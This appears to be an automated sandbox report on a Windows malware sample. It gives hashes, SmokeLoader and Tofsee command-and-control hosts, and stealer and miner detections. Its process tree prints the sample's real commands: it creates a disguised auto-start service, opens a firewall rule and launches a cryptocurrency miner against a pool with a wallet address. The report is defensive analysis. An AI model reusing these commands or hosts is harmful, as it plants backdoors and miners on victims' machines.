Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    10-01-2022 04:21

General

  • Target

    b7afeb4df8894cee353e20551bac817ac76ede24fc6158591333eab312753263.exe

  • Size

    297KB

  • MD5

    00ef1d5ef59dd07e21c1e7b656245bf8

  • SHA1

    52b6786f25c4648a1051ade5022fab702a8fc39c

  • SHA256

    b7afeb4df8894cee353e20551bac817ac76ede24fc6158591333eab312753263

  • SHA512

    be6eeb5a1fd70c4a0657b7331e84b11fe8cd1ba360627bdb18f3492711613d748718b45c0f522b117674b9691da4b10cdb0db02a6f7d426fa2687f67d3f6ab06

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

patmushta.info

parubey.info

Signatures

  • Panda Stealer Payload 3 IoCs
  • PandaStealer

    Panda Stealer is a fork of CollectorProject Stealer written in C++.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 16 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b7afeb4df8894cee353e20551bac817ac76ede24fc6158591333eab312753263.exe
    "C:\Users\Admin\AppData\Local\Temp\b7afeb4df8894cee353e20551bac817ac76ede24fc6158591333eab312753263.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3052
    • C:\Users\Admin\AppData\Local\Temp\b7afeb4df8894cee353e20551bac817ac76ede24fc6158591333eab312753263.exe
      "C:\Users\Admin\AppData\Local\Temp\b7afeb4df8894cee353e20551bac817ac76ede24fc6158591333eab312753263.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3884
  • C:\Users\Admin\AppData\Local\Temp\B179.exe
    C:\Users\Admin\AppData\Local\Temp\B179.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2744
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jgmmuumb\
      2⤵
        PID:1332
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zpzbnwns.exe" C:\Windows\SysWOW64\jgmmuumb\
        2⤵
          PID:2284
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jgmmuumb binPath= "C:\Windows\SysWOW64\jgmmuumb\zpzbnwns.exe /d\"C:\Users\Admin\AppData\Local\Temp\B179.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:900
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jgmmuumb "wifi internet conection"
            2⤵
              PID:3756
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jgmmuumb
              2⤵
                PID:2716
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:4044
              • C:\Users\Admin\AppData\Local\Temp\B36E.exe
                C:\Users\Admin\AppData\Local\Temp\B36E.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1576
                • C:\Users\Admin\AppData\Local\Temp\B36E.exe
                  C:\Users\Admin\AppData\Local\Temp\B36E.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1988
              • C:\Windows\SysWOW64\jgmmuumb\zpzbnwns.exe
                C:\Windows\SysWOW64\jgmmuumb\zpzbnwns.exe /d"C:\Users\Admin\AppData\Local\Temp\B179.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2248
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2444
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2164
              • C:\Users\Admin\AppData\Local\Temp\D09.exe
                C:\Users\Admin\AppData\Local\Temp\D09.exe
                1⤵
                • Executes dropped EXE
                PID:1244
                • C:\Users\Admin\AppData\Local\Temp\D09.exe
                  C:\Users\Admin\AppData\Local\Temp\D09.exe
                  2⤵
                  • Executes dropped EXE
                  • Checks SCSI registry key(s)
                  • Suspicious behavior: MapViewOfSection
                  PID:1636
              • C:\Users\Admin\AppData\Local\Temp\CC72.exe
                C:\Users\Admin\AppData\Local\Temp\CC72.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:1780

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • memory/1576-128-0x0000000004F30000-0x0000000004F4E000-memory.dmp

                Filesize

                120KB

              • memory/1576-129-0x00000000057C0000-0x0000000005CBE000-memory.dmp

                Filesize

                5.0MB

              • memory/1576-130-0x0000000005180000-0x0000000005181000-memory.dmp

                Filesize

                4KB

              • memory/1576-131-0x0000000002830000-0x0000000002831000-memory.dmp

                Filesize

                4KB

              • memory/1576-127-0x0000000004F80000-0x0000000004FF6000-memory.dmp

                Filesize

                472KB

              • memory/1576-126-0x00000000006E0000-0x000000000076A000-memory.dmp

                Filesize

                552KB

              • memory/1576-125-0x00000000006E0000-0x000000000076A000-memory.dmp

                Filesize

                552KB

              • memory/1780-231-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-205-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-227-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-226-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-228-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-225-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-230-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-224-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-223-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-222-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-219-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-221-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-220-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-218-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-217-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-216-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-196-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-215-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-214-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-213-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-212-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-211-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-210-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-209-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-208-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-207-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-206-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-229-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-204-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-203-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-202-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-201-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-200-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-233-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-199-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-232-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-198-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-234-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-197-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-235-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-236-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-182-0x0000000000300000-0x000000000040F000-memory.dmp

                Filesize

                1.1MB

              • memory/1780-183-0x0000000000300000-0x000000000040F000-memory.dmp

                Filesize

                1.1MB

              • memory/1780-184-0x0000000000460000-0x0000000000462000-memory.dmp

                Filesize

                8KB

              • memory/1780-186-0x0000000000300000-0x000000000040F000-memory.dmp

                Filesize

                1.1MB

              • memory/1780-185-0x0000000000300000-0x000000000040F000-memory.dmp

                Filesize

                1.1MB

              • memory/1780-187-0x0000000074010000-0x00000000741D2000-memory.dmp

                Filesize

                1.8MB

              • memory/1780-188-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-189-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-190-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-191-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-193-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-192-0x0000000000410000-0x00000000004BE000-memory.dmp

                Filesize

                696KB

              • memory/1780-194-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1780-195-0x0000000000301000-0x0000000000387000-memory.dmp

                Filesize

                536KB

              • memory/1928-178-0x0000000002860000-0x0000000002876000-memory.dmp

                Filesize

                88KB

              • memory/1928-118-0x0000000000850000-0x0000000000866000-memory.dmp

                Filesize

                88KB

              • memory/1988-151-0x0000000005230000-0x0000000005836000-memory.dmp

                Filesize

                6.0MB

              • memory/1988-162-0x0000000006350000-0x000000000684E000-memory.dmp

                Filesize

                5.0MB

              • memory/1988-148-0x0000000005410000-0x000000000551A000-memory.dmp

                Filesize

                1.0MB

              • memory/1988-168-0x00000000075A0000-0x0000000007ACC000-memory.dmp

                Filesize

                5.2MB

              • memory/1988-167-0x0000000006EA0000-0x0000000007062000-memory.dmp

                Filesize

                1.8MB

              • memory/1988-166-0x0000000006230000-0x000000000624E000-memory.dmp

                Filesize

                120KB

              • memory/1988-165-0x0000000006290000-0x0000000006322000-memory.dmp

                Filesize

                584KB

              • memory/1988-164-0x0000000006170000-0x00000000061E6000-memory.dmp

                Filesize

                472KB

              • memory/1988-163-0x0000000005690000-0x00000000056F6000-memory.dmp

                Filesize

                408KB

              • memory/1988-150-0x0000000005340000-0x000000000537E000-memory.dmp

                Filesize

                248KB

              • memory/1988-146-0x00000000052E0000-0x00000000052F2000-memory.dmp

                Filesize

                72KB

              • memory/1988-152-0x0000000005380000-0x00000000053CB000-memory.dmp

                Filesize

                300KB

              • memory/1988-145-0x0000000005840000-0x0000000005E46000-memory.dmp

                Filesize

                6.0MB

              • memory/1988-139-0x0000000000400000-0x0000000000420000-memory.dmp

                Filesize

                128KB

              • memory/1988-143-0x0000000000400000-0x0000000000420000-memory.dmp

                Filesize

                128KB

              • memory/1988-144-0x0000000000400000-0x0000000000420000-memory.dmp

                Filesize

                128KB

              • memory/2164-176-0x0000000003200000-0x00000000032F1000-memory.dmp

                Filesize

                964KB

              • memory/2164-169-0x0000000003200000-0x00000000032F1000-memory.dmp

                Filesize

                964KB

              • memory/2248-159-0x0000000002C70000-0x0000000002C7D000-memory.dmp

                Filesize

                52KB

              • memory/2248-161-0x0000000000400000-0x0000000002B85000-memory.dmp

                Filesize

                39.5MB

              • memory/2248-160-0x0000000003440000-0x0000000003453000-memory.dmp

                Filesize

                76KB

              • memory/2444-155-0x0000000002D70000-0x0000000002D85000-memory.dmp

                Filesize

                84KB

              • memory/2444-157-0x0000000002C80000-0x0000000002C81000-memory.dmp

                Filesize

                4KB

              • memory/2444-158-0x0000000002C80000-0x0000000002C81000-memory.dmp

                Filesize

                4KB

              • memory/2744-135-0x0000000000400000-0x0000000002B85000-memory.dmp

                Filesize

                39.5MB

              • memory/2744-133-0x0000000002B90000-0x0000000002C3E000-memory.dmp

                Filesize

                696KB

              • memory/2744-132-0x0000000002B90000-0x0000000002C3E000-memory.dmp

                Filesize

                696KB

              • memory/3052-117-0x00000000048A0000-0x00000000048A9000-memory.dmp

                Filesize

                36KB

              • memory/3052-116-0x0000000004890000-0x0000000004899000-memory.dmp

                Filesize

                36KB

              • memory/3884-114-0x0000000000400000-0x0000000000409000-memory.dmp

                Filesize

                36KB